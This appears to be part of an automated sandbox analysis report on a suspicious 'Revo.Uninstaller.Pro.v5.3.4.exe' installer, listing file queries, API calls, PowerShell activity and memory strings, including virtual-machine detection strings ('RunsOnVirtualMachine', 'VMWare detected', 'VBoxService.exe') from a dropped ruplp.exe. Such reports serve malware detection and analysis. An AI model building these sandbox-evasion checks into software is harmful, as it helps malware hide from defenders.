Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File Volume queried: C:\Program Files FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA FullSizeInformation

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_004069FF FindFirstFileW,FindClose,	0_2_004069FF
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00405DAE CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405DAE
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDA2DF FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	16_2_00FDA2DF
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEAFB9 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	16_2_00FEAFB9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_004069FF FindFirstFileW,FindClose,	26_2_004069FF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00405DAE CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	26_2_00405DAE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00402930 FindFirstFileW,	26_2_00402930

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FED353 VirtualQuery,GetSystemInfo,

16_2_00FED353

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl32.DllA\OpenSSL32.DllA\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl32.DllA\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\	Jump to behavior

Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.13B44170A-1377-48FC-B6B3-368C307523586.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.44242424C-D130-4AD7-BDF1-DE7171B2AB906.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Workstation PlayerVMware, Inc.16.0B2A67D4A-5BEC-EA52-874C-74EC4CB5270D6.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.1BD1937E6-8202-C2D6-D8F5-5D703D8F3B4C10.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.1542DE07B-58FA-448D-A03B-839409DD9E3C6.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.407598576-C6E6-4823-A54E-216AF2B0297110.0{B62BB102-57D8-420A-9403-494D81F09EA6}VMware Horizon View ClientMsiExec.exe /I{CDFB31CB-DFC3-4FE7-938E-9A0DD77D7555}5.4
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.4C6B0BB91-7A95-43B3-A555-39E4A98858F76.1{B62BB102-57D8-420A-9403-494D81F09EA6}VMware Horizon View ClientMsiExec.exe /I{CDFB31CB-DFC3-4FE7-938E-9A0DD77D7555}5.4
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {B62BB102-57D8-420A-9403-494D81F09EA6}VMware Horizon View ClientMsiExec.exe /I{B62BB102-57D8-420A-9403-494D81F09EA6}5.4
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {5E16122B-D844-47B7-BB31-DA054680E671}VMware PlayerMsiExec.exe /X{5E16122B-D844-47B7-BB31-DA054680E671}16.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {C4E01CDC-0063-493C-B383-9C4FCF7A89F7}PerfectDisk Hyper-V GuestMsiExec.exe /I{C4E01CDC-0063-493C-B383-9C4FCF7A89F7}14.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B260000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B260000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B282000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B282000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159782360.000000000B282000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159782360.000000000B261000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.1B62B86D5-1F75-E130-728D-C2389C19C4216.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.19018035B-C5DC-474D-A9AC-1562823A192E10.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.14136B17C-A935-4084-A910-D66968F3BAB86.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {17C3235A-A4B9-44ED-8794-54D8408F9733}VMware Fusion PC Migration AgentMsiExec.exe /I{17C3235A-A4B9-44ED-8794-54D8408F9733}5.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.15499B796-E171-4F3F-8A83-4894659CCC4810.0VMware InstallBuilder Professional 20.12.0VMware InstallBuilder Professional"C:\Program Files\VMware InstallBuilder Professional 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"5.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.45B1FE2E8-3EAA-4084-AB49-86C371FD57F010.0
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	Binary or memory string: Error in RunsOnVirtualMachineU
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.19018035B-C5DC-474D-A9AC-1562823A192E10.0QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"2.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {B0E6FB2F-AAD0-4C2C-89E2-FF8F93F7F653}VMware PlayerMsiExec.exe /X{B0E6FB2F-AAD0-4C2C-89E2-FF8F93F7F653}14.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.16CEB785C-9851-E072-BDA1-6F0F1796D2B86.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.1191E7D4A-4EB2-437E-9800-03CB58C0B8266.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PerfectDisk Hyper-V GuestRaxco Software, Inc.14.0409D79D3-E958-4939-BF50-A44B8362DCF110.0{C4E01CDC-0063-493C-B383-9C4FCF7A89F7}PerfectDisk Hyper-V GuestMsiExec.exe /I{C4E01CDC-0063-493C-B383-9C4FCF7A89F7}14.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.1B4ED644D-9E22-4DCF-8EC5-0842C70E179F10.0
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	Binary or memory string: Call: RunsOnVirtualMachine
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.1BD1937E6-8202-C2D6-D8F5-5D703D8F3B4C10.0QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"5.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PerfectDisk Hyper-V GuestRaxco Software, Inc.14.0832A0C4E-0513-4EB8-BC57-FC06C3E4A3AD6.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for Windows 20.12.0VMware InstallBuilder for Windows"C:\Program Files\VMware InstallBuilder for Windows 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware vCenter Converter StandaloneVMware, Inc.6.227542D48-5663-4A91-9043-4324A8A21FFD6.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.4A042C43B-8035-4A6E-A59D-59DB311495826.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.113C921E7-8314-4819-948E-2F9F8B0951BB10.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.1A9D8CF1F-2C8B-2834-3EA5-D27E27E27CE56.1QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"5.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.1FC41C749-2D65-477F-A07B-C33FE45FCB016.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PerfectDisk Hyper-V GuestRaxco Software, Inc.14.0409D79D3-E958-4939-BF50-A44B8362DCF110.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware vCenter Converter StandaloneVMware, Inc.6.2A46357DE-6F2B-454A-8692-DD77BD0C85DD6.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.13B6B1C7F-7E70-4965-85B0-609252867B2B6.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.18BA64C3E-9AB6-4655-AC05-B8A4313CC7E210.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.18BA64C3E-9AB6-4655-AC05-B8A4313CC7E210.0VMware InstallBuilder Enterprise 20.12.0VMware InstallBuilder Enterprise"C:\Program Files\VMware InstallBuilder Enterprise 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware vCenter Converter StandaloneVMware, Inc.6.2FA5152BC-5592-4B97-90F2-D9D5E2E4B6916.3{DA09FD63-5AE7-4bf6-8B86-0FCA4DEA8F8F}VMware vCenter Converter StandaloneMsiExec.exe /I{DA09FD63-5AE7-4bf6-8B86-0FCA4DEA8F8F}6.2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware vCenter Converter StandaloneVMware, Inc.6.2A46357DE-6F2B-454A-8692-DD77BD0C85DD6.1{DA09FD63-5AE7-4bf6-8B86-0FCA4DEA8F8F}VMware vCenter Converter StandaloneMsiExec.exe /I{DA09FD63-5AE7-4bf6-8B86-0FCA4DEA8F8F}6.2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Workstation PlayerVMware, Inc.14.0689E1E35-CD38-45EF-BFC1-A207A94A6E356.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.1627620AE-7984-450E-988E-150E8A9ACAB26.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {B62BB102-57D8-420A-9403-494D81F09EA6}VMware Horizon View ClientMsiExec.exe /I{CDFB31CB-DFC3-4FE7-938E-9A0DD77D7555}5.4
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware vCenter Converter StandaloneVMware, Inc.6.2A2AFD234-28B3-4674-A5D0-0B0F6506EE226.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.152D06F00-09F6-42BE-AE6B-8D7CAD222DEF6.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.1A9D8CF1F-2C8B-2834-3EA5-D27E27E27CE56.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.17854E555-C96C-46DB-8093-2021C23752DC10.0VMware InstallBuilder for Windows 20.12.0VMware InstallBuilder for Windows"C:\Program Files\VMware InstallBuilder for Windows 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Fusion PC Migration AgentVMware, Inc.5.1C9EDBF7C-FAE6-5B7D-2D8E-F409BAB3C59A6.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.1554A4225-E990-4623-B0BB-94151C05E0356.3VMware InstallBuilder Enterprise 20.12.0VMware InstallBuilder Enterprise"C:\Program Files\VMware InstallBuilder Enterprise 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.152D06F00-09F6-42BE-AE6B-8D7CAD222DEF6.1VMware InstallBuilder Enterprise 20.12.0VMware InstallBuilder Enterprise"C:\Program Files\VMware InstallBuilder Enterprise 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.1C9E9233D-325C-4049-85F5-D3B9EFF024906.1VMware InstallBuilder for Windows 20.12.0VMware InstallBuilder for Windows"C:\Program Files\VMware InstallBuilder for Windows 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.1B0C15D57-1F93-4986-808F-710FFB0686A96.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Workstation PlayerVMware, Inc.16.064C6F385-E0E0-B5AE-819C-253D7C606A4210.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder Professional 20.12.0VMware InstallBuilder Professional"C:\Program Files\VMware InstallBuilder Professional 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for Windows 20.12.0VMware InstallBuilder for Windows"C:\Program Files (x86)\VMware InstallBuilder for Windows 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder Enterprise 20.12.0VMware InstallBuilder Enterprise"C:\Program Files (x86)\VMware InstallBuilder Enterprise 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.1554A4225-E990-4623-B0BB-94151C05E0356.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware vCenter Converter StandaloneVMware, Inc.6.2FA5152BC-5592-4B97-90F2-D9D5E2E4B6916.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.407598576-C6E6-4823-A54E-216AF2B0297110.0
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	Binary or memory string: VMWare detected
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.4C6B0BB91-7A95-43B3-A555-39E4A98858F76.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Workstation PlayerVMware, Inc.14.0E5D4C4C9-3710-4149-AA8D-BB54149B73B46.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.17854E555-C96C-46DB-8093-2021C23752DC10.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.102C9828F-B700-A8CA-EA5C-C07D973B2D8910.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.4EC80F048-95D4-4F72-B498-C2CF528E52036.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.1367FB481-70A4-2BD9-D89F-D204ADA9525A6.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.1ACB5A703-699E-4EC4-8293-F79DB759E87E6.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.15546167B-7BB3-4E63-9071-5AE0E2FEC1E66.3
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"2.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.1930AC8C3-2482-4219-AAB4-6EC8F4F28D586.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.1FBEDB58F-CC9A-4847-AAEB-AAC463FD00036.1
Source: ruplp.exe, 0000000A.00000000.2100083068.0000000000A97000.00000002.00000001.01000000.0000000F.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	Binary or memory string: RunsOnVirtualMachine
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.1C9E9233D-325C-4049-85F5-D3B9EFF024906.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.1FBEDB58F-CC9A-4847-AAEB-AAC463FD00036.1QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"2.1
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	Binary or memory string: VBoxService.exe
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder Enterprise 20.12.0VMware InstallBuilder Enterprise"C:\Program Files\VMware InstallBuilder Enterprise 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder for WindowsVMware, Inc.20.1FC41C749-2D65-477F-A07B-C33FE45FCB016.3VMware InstallBuilder for Windows 20.12.0VMware InstallBuilder for Windows"C:\Program Files\VMware InstallBuilder for Windows 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PerfectDisk Hyper-V GuestRaxco Software, Inc.14.05960DB4E-29FC-438D-8C4A-D210BB57687110.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder EnterpriseVMware, Inc.20.1555EAE6D-8547-4704-B511-DE16BE0A88CF6.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.1452FEA7E-D933-41A7-9E0A-BFFEB327C2F410.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.14136B17C-A935-4084-A910-D66968F3BAB86.1VMware InstallBuilder Professional 20.12.0VMware InstallBuilder Professional"C:\Program Files\VMware InstallBuilder Professional 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Horizon View ClientVMware, Inc.5.4A042C43B-8035-4A6E-A59D-59DB311495826.3{B62BB102-57D8-420A-9403-494D81F09EA6}VMware Horizon View ClientMsiExec.exe /I{CDFB31CB-DFC3-4FE7-938E-9A0DD77D7555}5.4
